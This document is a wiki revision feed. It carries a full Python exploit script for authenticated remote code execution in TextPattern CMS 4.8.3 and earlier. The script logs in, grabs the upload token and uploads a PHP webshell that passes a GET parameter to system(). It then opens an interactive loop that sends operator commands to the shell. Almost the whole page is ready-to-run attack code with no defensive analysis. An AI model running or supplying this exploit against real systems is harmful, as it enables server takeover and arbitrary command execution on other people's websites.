<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="chinese">
	<id>https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=TextPattern_CMS_4.8.3_%E9%81%A0%E7%A8%8B%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E</id>
	<title>TextPattern CMS 4.8.3 遠程代碼執行漏洞 - Revision history</title>
	<link rel="self" type="application/atom+xml" href="https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=TextPattern_CMS_4.8.3_%E9%81%A0%E7%A8%8B%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E"/>
	<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=TextPattern_CMS_4.8.3_%E9%81%A0%E7%A8%8B%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E&amp;action=history"/>
	<updated>2026-04-15T23:27:52Z</updated>
	<subtitle>Revision history for this page on the wiki</subtitle>
	<generator>MediaWiki 1.35.1</generator>
	<entry>
		<id>https://pwnwiki.com/index.php?title=TextPattern_CMS_4.8.3_%E9%81%A0%E7%A8%8B%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E&amp;diff=1282&amp;oldid=prev</id>
		<title>Pwnwiki: Created page with &quot;==EXP== &lt;pre&gt; #!/usr/bin/python3  # Exploit Title: TextPattern &lt;= 4.8.3 - Authenticated Remote Code Execution via Unrestricted File Upload # Google Dork: N/A # Date: 16/10/202...&quot;</title>
		<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=TextPattern_CMS_4.8.3_%E9%81%A0%E7%A8%8B%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E&amp;diff=1282&amp;oldid=prev"/>
		<updated>2021-04-08T09:56:40Z</updated>

		<summary type="html">&lt;p&gt;Created page with &amp;quot;==EXP== &amp;lt;pre&amp;gt; #!/usr/bin/python3  # Exploit Title: TextPattern &amp;lt;= 4.8.3 - Authenticated Remote Code Execution via Unrestricted File Upload # Google Dork: N/A # Date: 16/10/202...&amp;quot;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;New page&lt;/b&gt;&lt;/p&gt;&lt;div&gt;==EXP==&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
#!/usr/bin/python3&lt;br /&gt;
&lt;br /&gt;
# Exploit Title: TextPattern &amp;lt;= 4.8.3 - Authenticated Remote Code Execution via Unrestricted File Upload&lt;br /&gt;
# Google Dork: N/A&lt;br /&gt;
# Date: 16/10/2020&lt;br /&gt;
# Exploit Author: Michele '0blio_' Cisternino&lt;br /&gt;
# Vendor Homepage: https://textpattern.com/&lt;br /&gt;
# Software Link: https://github.com/textpattern/textpattern&lt;br /&gt;
# Version: &amp;lt;= 4.8.3&lt;br /&gt;
# Tested on: Kali Linux x64&lt;br /&gt;
# CVE: N/A&lt;br /&gt;
&lt;br /&gt;
import sys&lt;br /&gt;
import json&lt;br /&gt;
import requests&lt;br /&gt;
from bs4 import BeautifulSoup as bs4&lt;br /&gt;
from time import sleep&lt;br /&gt;
import random&lt;br /&gt;
import string&lt;br /&gt;
import readline&lt;br /&gt;
&lt;br /&gt;
# Disable SSL warnings&lt;br /&gt;
requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning)&lt;br /&gt;
&lt;br /&gt;
# Simple Terminal User Interface class I wrote to print run-time logs and headers&lt;br /&gt;
class Tui ():&lt;br /&gt;
    def __init__ (self):&lt;br /&gt;
        self.red = '\033[91m'&lt;br /&gt;
        self.green = '\033[92m'&lt;br /&gt;
        self.blue = '\033[94m'&lt;br /&gt;
        self.yellow = '\033[93m'&lt;br /&gt;
        self.pink = '\033[95m'&lt;br /&gt;
        self.end = '\033[0m'&lt;br /&gt;
        self.bold = '\033[1m'&lt;br /&gt;
&lt;br /&gt;
    def header (self, software, author, cve='N/A'):&lt;br /&gt;
        print (&amp;quot;\n&amp;quot;, &amp;quot;{}Software:{} {}&amp;quot;.format(self.pink, self.end, software), sep='')&lt;br /&gt;
        print (&amp;quot;{}CVE:{} {}&amp;quot;.format(self.pink, self.end, cve))&lt;br /&gt;
        print (&amp;quot;{}Author:{} {}\n&amp;quot;.format(self.pink, self.end, author))&lt;br /&gt;
&lt;br /&gt;
    def info (self, message):&lt;br /&gt;
        print (&amp;quot;[{}*{}] {}&amp;quot;.format(self.blue, self.end, message))&lt;br /&gt;
&lt;br /&gt;
    def greatInfo (self, message):&lt;br /&gt;
        print (&amp;quot;[{}*{}] {}{}{}&amp;quot;.format(self.blue, self.end, self.bold, message, self.end))&lt;br /&gt;
&lt;br /&gt;
    def success (self, message):&lt;br /&gt;
        print (&amp;quot;[{}✓{}] {}{}{}&amp;quot;.format(self.green, self.end, self.bold, message, self.end))&lt;br /&gt;
&lt;br /&gt;
    def warning (self, message):&lt;br /&gt;
        print (&amp;quot;[{}!{}] {}&amp;quot;.format(self.yellow, self.end, message))&lt;br /&gt;
&lt;br /&gt;
    def error (self, message):&lt;br /&gt;
        print (&amp;quot;[{}✗{}] {}&amp;quot;.format(self.red, self.end, message))&lt;br /&gt;
&lt;br /&gt;
log = Tui()&lt;br /&gt;
log.header (software=&amp;quot;TextPattern &amp;lt;= 4.8.3&amp;quot;, cve=&amp;quot;CVE-2020-XXXXX - Authenticated RCE via Unrestricted File Upload&amp;quot;, author=&amp;quot;Michele '0blio_' Cisternino&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
if len(sys.argv) &amp;lt; 4:&lt;br /&gt;
    log.info (&amp;quot;USAGE: python3 exploit.py http://target.com username password&amp;quot;)&lt;br /&gt;
    log.info (&amp;quot;EXAMPLE: python3 exploit.py http://localhost admin admin\n&amp;quot;)&lt;br /&gt;
    sys.exit()&lt;br /&gt;
&lt;br /&gt;
# Get input from the command line&lt;br /&gt;
target, username, password = sys.argv[1:4]&lt;br /&gt;
&lt;br /&gt;
# Fixing URL&lt;br /&gt;
target = target.strip()&lt;br /&gt;
if not target.startswith(&amp;quot;https://&amp;quot;) and not target.startswith(&amp;quot;http://&amp;quot;):&lt;br /&gt;
    target = &amp;quot;http://&amp;quot; + target&lt;br /&gt;
if not target.endswith(&amp;quot;/&amp;quot;):&lt;br /&gt;
    target = target + &amp;quot;/&amp;quot;&lt;br /&gt;
&lt;br /&gt;
accessData = {'p_userid':username, 'p_password':password, '_txp_token':&amp;quot;&amp;quot;}&lt;br /&gt;
&lt;br /&gt;
# Login&lt;br /&gt;
log.info (&amp;quot;Authenticating to the target as '{}'&amp;quot;.format(username))&lt;br /&gt;
s = requests.Session()&lt;br /&gt;
try:&lt;br /&gt;
    r = s.post(target + &amp;quot;textpattern/index.php&amp;quot;, data=accessData, verify=False)&lt;br /&gt;
    sleep(1)&lt;br /&gt;
    if r.status_code == 200:&lt;br /&gt;
        log.success (&amp;quot;Logged in as '{}' (Cookie: txp_login={}; txp_login_public={})&amp;quot;.format(username, s.cookies['txp_login'], s.cookies['txp_login_public']))&lt;br /&gt;
        sleep(1)&lt;br /&gt;
&lt;br /&gt;
        # Parsing the response to find the upload token inside the main json array&lt;br /&gt;
        log.info (&amp;quot;Grabbing _txp_token (required to proceed with exploitation)..&amp;quot;)&lt;br /&gt;
        soup = bs4(r.text, 'html.parser')&lt;br /&gt;
        scriptJS = soup.find_all(&amp;quot;script&amp;quot;)[2].string.replace(&amp;quot;var textpattern = &amp;quot;, &amp;quot;&amp;quot;)[:-2]&lt;br /&gt;
        scriptJS = json.loads(scriptJS)&lt;br /&gt;
        uploadToken = scriptJS['_txp_token']&lt;br /&gt;
        log.greatInfo (&amp;quot;Upload token grabbed successfully ({})&amp;quot;.format(uploadToken))&lt;br /&gt;
&lt;br /&gt;
    # The server reply with a 401 with the user provide wrong creds as input&lt;br /&gt;
    elif r.status_code == 401:&lt;br /&gt;
        log.error (&amp;quot;Unable to login. You provided wrong credentials..\n&amp;quot;)&lt;br /&gt;
        sys.exit()&lt;br /&gt;
except requests.exceptions.ConnectionError:&lt;br /&gt;
    log.error (&amp;quot;Unable to connect to the target!&amp;quot;)&lt;br /&gt;
    sys.exit()&lt;br /&gt;
&lt;br /&gt;
# Crafting the upload request here&lt;br /&gt;
headers = {&lt;br /&gt;
    &amp;quot;User-Agent&amp;quot; : &amp;quot;Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko&amp;quot;,&lt;br /&gt;
    &amp;quot;Accept&amp;quot; : &amp;quot;text/javascript, application/javascript, application/ecmascript, application/x-ecmascript, */*; q=0.01&amp;quot;,&lt;br /&gt;
    &amp;quot;Accept-Encoding&amp;quot; : &amp;quot;gzip, deflate&amp;quot;,&lt;br /&gt;
    &amp;quot;X-Requested-With&amp;quot; : &amp;quot;XMLHttpRequest&amp;quot;,&lt;br /&gt;
    &amp;quot;Connection&amp;quot; : &amp;quot;close&amp;quot;,&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
# Generating random webshell name&lt;br /&gt;
randomFilename = ''.join(random.choice(string.ascii_letters) for i in range(10)) + '.php'&lt;br /&gt;
&lt;br /&gt;
# Mapping multiparts here&lt;br /&gt;
multipart_form_data = {&lt;br /&gt;
    &amp;quot;fileInputOrder&amp;quot; : (None, '1/1'),&lt;br /&gt;
    &amp;quot;app_mode&amp;quot; : (None, 'async'),&lt;br /&gt;
    &amp;quot;MAX_FILE_SIZE&amp;quot; : (None, '2000000'),&lt;br /&gt;
    &amp;quot;event&amp;quot; : (None, 'file'),&lt;br /&gt;
    &amp;quot;step&amp;quot; : (None, 'file_insert'),&lt;br /&gt;
    &amp;quot;id&amp;quot; : (None, ' '),&lt;br /&gt;
    &amp;quot;_txp_token&amp;quot; : (None, uploadToken), # Token here&lt;br /&gt;
    &amp;quot;thefile[]&amp;quot; : (randomFilename, '&amp;lt;?php system($_GET[&amp;quot;efcd&amp;quot;]); ?&amp;gt;') # lol&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
# Uploading the webshell&lt;br /&gt;
log.warning (&amp;quot;Sending payload..&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
try:&lt;br /&gt;
    r = s.post (target + &amp;quot;textpattern/index.php?event=file&amp;quot;, verify=False, headers=headers, files=multipart_form_data)&lt;br /&gt;
    if &amp;quot;Files uploaded&amp;quot; in r.text:&lt;br /&gt;
        log.success (&amp;quot;Webshell uploaded successfully as {}&amp;quot;.format(randomFilename))&lt;br /&gt;
except:&lt;br /&gt;
    log.error (&amp;quot;Unexpected error..&amp;quot;)&lt;br /&gt;
    sys.exit()&lt;br /&gt;
&lt;br /&gt;
sleep(2)&lt;br /&gt;
&lt;br /&gt;
# Interact with the webshell (using the readline library to save the history of the executed commands at run-time)&lt;br /&gt;
log.greatInfo (&amp;quot;Interacting with the HTTP webshell..&amp;quot;)&lt;br /&gt;
sleep (1)&lt;br /&gt;
print()&lt;br /&gt;
&lt;br /&gt;
while 1:&lt;br /&gt;
    try:&lt;br /&gt;
        cmd = input (&amp;quot;\033[4m\033[91mwebshell\033[0m &amp;gt; &amp;quot;)&lt;br /&gt;
        if cmd == 'exit':&lt;br /&gt;
            raise KeyboardInterrupt&lt;br /&gt;
        r = requests.get (target + &amp;quot;files/&amp;quot; + randomFilename + &amp;quot;?efcd=&amp;quot; + cmd, verify=False)&lt;br /&gt;
        print (r.text)&lt;br /&gt;
    except KeyboardInterrupt:&lt;br /&gt;
        log.warning (&amp;quot;Stopped.&amp;quot;)&lt;br /&gt;
        exit()&lt;br /&gt;
    except:&lt;br /&gt;
        log.error (&amp;quot;Unexpected error..&amp;quot;)&lt;br /&gt;
        sys.exit()&lt;br /&gt;
&lt;br /&gt;
print()&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;/div&gt;</summary>
		<author><name>Pwnwiki</name></author>
	</entry>
</feed>